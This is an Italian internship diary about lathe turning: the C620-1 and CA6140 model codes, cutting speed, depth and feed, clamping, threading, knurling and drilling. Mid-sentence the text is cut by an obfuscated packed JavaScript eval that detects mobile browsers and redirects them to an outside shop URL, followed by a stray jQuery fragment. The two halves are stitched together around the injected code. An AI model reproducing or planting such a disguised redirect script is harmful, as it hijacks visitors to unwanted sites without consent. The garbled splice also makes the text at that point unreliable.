Diario di tirocinio di tornitura
Il tirocinio di tornitura di più giorni è giunto felicemente al termine. Nel corso di questa esperienza, ho acquisito una conoscenza sistematica della struttura, dei principi di funzionamento, dei parametri dei modelli dei torni orizzontali universali, delle operazioni di base e delle nozioni fondamentali sulla lavorazione dei metalli. Dalla prima conoscenza delle macchine utensili e l’apprendimento della codifica dei modelli, alla padronanza dei tre elementi del regime di taglio e delle diverse tecniche di lavorazione, fino all’esecuzione autonoma delle operazioni fondamentali come la foratura, la tornitura del cilindro esterno, la filettatura e la rigatura antiscivolo. Ho consolidato le basi teoriche della meccanica applicata e affinato le capacità pratiche, comprendendo profondamente la severità, la precisione e la regolamentazione richieste nel settore della lavorazione meccanica. Di seguito riporto una descrizione dettagliata delle attività di apprendimento, delle operazioni pratiche e delle riflessioni maturate durante il tirocinio.
Nella fase iniziale, il docente ha organizzato la formazione teorica sui torni, spiegando in modo approfondito le regole di denominazione dei torni orizzontali: si tratta di conoscenze basilari per ogni tornitore e uno dei punti chiave del mio apprendimento. In precedenza non avevo alcuna dimestichezza con la codifica delle macchine utensili, ma grazie allo studio sistematico sono riuscito a decifrare le sigle dei due modelli classici di tornio orizzontale, il C620-1 e il CA6140, distinguendo le differenze tra la vecchia e la nuova nomenclatura e le caratteristiche prestazionali di ciascuna apparecchiatura.
Il C620-1 è un tornio orizzontale obsoleto, una macchina storica utilizzata nelle officine. Nella sigla, la lettera C indica la categoria della macchina: tornio; la cifra 6 definisce la tipologia costruttiva, tornio orizzontale, distinguendolo dai modelli verticali; il numero 20 rappresenta il parametro principale, ovvero il raggio massimo di lavorazione dal piano del tornio all’asse principale, che determina le dimensioni massime dei pezzi lavorabili. Il trattino indica che si tratta di un modello base storico, mentre la cifra finale 1 significa che l’apparecchiatura ha subito una prima modifica strutturale. Rispetto ai torni moderni, il C620-1 presenta una struttura semplice e funzionalità limitate. Per vincoli costruttivi, supporta pochi materiali di lavorazione, ha un intervallo ridotto di diametri lavorabili, pochi livelli fissi di velocità di rotazione con bassa precisione di regolazione. La precisione di lavorazione e la produttività sono modeste, per cui oggi viene impiegato soprattutto per sgrossature semplici nei laboratori scolastici e nelle vecchie officine.
Il CA6140 è il tornio orizzontale universale moderno, largamente diffuso sia nei laboratori di formazione che nelle industrie, con prestazioni nettamente superiori al vecchio C620-1. La lettera C rimane il codice per i torni, la lettera A indica una importante revisione strutturale del modello base: sono state ottimizzate la struttura, il sistema di trasmissione e le caratteristiche di precisione. La sequenza di cifre 61 è il codice del gruppo e del tipo di macchina, che differenzia la disposizione costruttiva dai modelli obsoleti. L’ultima cifra 40 è il parametro operativo chiave, che indica il diametro massimo di lavorazione pari a 400 mm, con un campo dimensionale più ampio e maggiore versatilità. Inoltre, il CA6140 supporta la filettatura sinistra, colmando la principale lacuna delle vecchie macchine. ? adatto alla lavorazione di un’ampia varietà di metalli: si possono regolare liberamente velocità di rotazione e avanzamento a seconda del materiale e delle dimensioni del pezzo. Garantisce elevata precisione, stabilità e flessibilità, rappresentando la macchina principale delle officine di tornitura.
Dopo aver acquisito le caratteristiche dei diversi modelli di tornio, abbiamo affrontato il nucleo teorico della lavorazione di tornitura: i tre elementi del regime di taglio. Sono le fondamenta di ogni operazione di tornitura, determinano direttamente la qualità del pezzo finito, l’usura dell’utensile e la produttività, per cui i relativi parametri devono essere controllati con rigore nella pratica. I tre elementi sono: velocità di taglio, profondità di taglio e avanzamento. Questi parametri si influenzano reciprocamente e non possono essere analizzati separatamente.
La velocità di taglio è la velocità relativa tra il filo tagliente dell’utensile e la superficie del pezzo. Viene regolata in base al materiale del pezzo, al materiale dell’utensile e ai requisiti di precisione. Per la lavorazione di acciai ad alta durezza, si riduce la velocità di taglio, per evitare la rottura dell’utensile e il danneggiamento termico della superficie del componente. Per materiali teneri come alluminio e rame, si può aumentare velocità di rotazione e velocità di taglio per incrementare la produttività. Il vecchio tornio C620-1 dispone di pochi livelli fissi di velocità, rendendo difficile impostare il regime ottimale per ogni materiale; al contrario, il CA6140 ha un ampio intervallo di velocità con livelli graduati, permettendo di impostare la velocità di taglio adatta a qualsiasi materiale.
La profondità di taglio è lo spessore dello strato di metallo asportato dall’utensile in un solo passaggio. Definisce la sovrametallatura di lavorazione e la precisione dimensionale del pezzo. Nella sgrossatura si può aumentare la profondità di taglio, per rimuovere rapidamente il materiale in eccesso e velocizzare il lavoro. Nella finitura è obbligatorio ridurla, asportando gradualmente la sovrametallatura residua per garantire la planarità superficiale e la precisione delle misure, evitando errori dimensionali e graffi sul pezzo.
L’avanzamento è la distanza percorsa dall’utensile lungo l’asse del pezzo per ogni giro completo di rotazione. Se l’avanzamento è troppo elevato, sulla superficie si formano segni evidenti dell’utensile, aumenta la rugosità, si rischia la rottura dell’utensile e la deformazione del pezzo. Un avanzamento eccessivamente basso riduce drasticamente la produttività, provoca un attrito prolungato tra utensile e pezzo, surriscaldamento del componente, rinvenimento dello strato superficiale e annerimento della zona lavorata. Nella pratica è necessario combinare razionalmente i tre elementi del regime di taglio, distinguendo sgrossatura e finitura, per trovare l’equilibrio tra produttività e qualità del pezzo.
Conclusa la formazione teorica, siamo passati all’addestramento pratico: abbiamo imparat
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786775|210199||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
o ad utilizzare le attrezzature del tornio e le diverse tecniche di tornitura. Per prima cosa abbiamo conosciuto il mandrino autocentrante a tre griffe, l’attrezzatura fondamentale per bloccare i pezzi. Nel fissaggio del componente è necessario garantire una presa sicura e la coassialità tra asse del pezzo e asse del mandrino, per evitare spostamenti ed eccentricità durante la lavorazione, che causerebbero errori dimensionali e situazioni di pericolo. La forza di bloccaggio deve essere moderata: una presa debole causa vibrazioni e spostamenti del pezzo, una pressione eccessiva può deformare i componenti a parete sottile. Si tratta di una regola basilare ma fondamentale della tornitura.
Durante l’addestramento sulle operazioni base, ho esercitato tutte le lavorazioni principali: modellatura, foratura e realizzazione di texture superficiali. Le lavorazioni di modellatura comprendono tornitura della faccia terminale, cilindro esterno, foro interno, cono e filettatura: sono il nucleo del lavoro del tornitore. La tornitura della faccia terminale serve a spianare la testa del pezzo, garantendo la perpendicolarità della superficie rispetto all’asse principale. La tornitura del cilindro esterno è l’operazione più diffusa, utilizzata per creare contorni cilindrici esterni. La tornitura dei fori interni viene impiegata per la realizzazione di boccole, anelli e pezzi con dimensioni interne. Per la tornitura dei coni è necessario regolare l’angolo del carrello trasversale, impostando con precisione la conicità per assicurare l’adattamento delle superfici coniche in fase di assemblaggio. La filettatura si distingue in filettatura destra standard e filettatura sinistra specifica: per realizzarla occorre abbinare correttamente velocità di rotazione e avanzamento, per ottenere un profilo del filetto regolare e un passo preciso.
Oltre alle lavorazioni di modellatura standard, ho appreso la realizzazione di superfici sagomate, la rigatura diritta e la rigatura a reticolo. La rigatura antiscivolo viene utilizzata per manopole, regolatori e tutti quei pezzi che richiedono una superficie non sdrucciolevole. La rigatura diritta produce solchi paralleli regolari, mentre quella a reticolo crea un motivo incrociato. Per eseguirla si monta l’apposito utensile rigatore, si selezionano velocità e avanzamento adeguati, al fine di ottenere un motivo uniforme e di profondità costante, evitando inclinazioni e irregolarità dei solchi.
Nell’addestramento alla foratura ho acquisito l’uso della punta centrale, della punta elicoidale e dell’alesatore, rispettando la sequenza delle fasi di lavorazione. Per realizzare fori profondi o ad alta precisione, il primo passaggio è la centrazione con punta centrale: serve a definire esattamente il centro del foro, evitando lo spostamento della punta e l’eccentricità. Dopo la centrazione si esegue la foratura di sgrossatura per rimuovere la maggior parte della sovrametallatura, infine l’alesatura di finitura per correggere il diametro del foro e aumentare la levigatura della parete interna, soddisfacendo i requisiti di montaggio preciso. Nel tirocinio ho anche scoperto l’impiego del contro-supporto a molla per torni: nella lavorazione di alberi lunghi fornisce un appoggio supplementare, riduce vibrazioni e deformazioni del pezzo, migliorando la precisione di lavorazio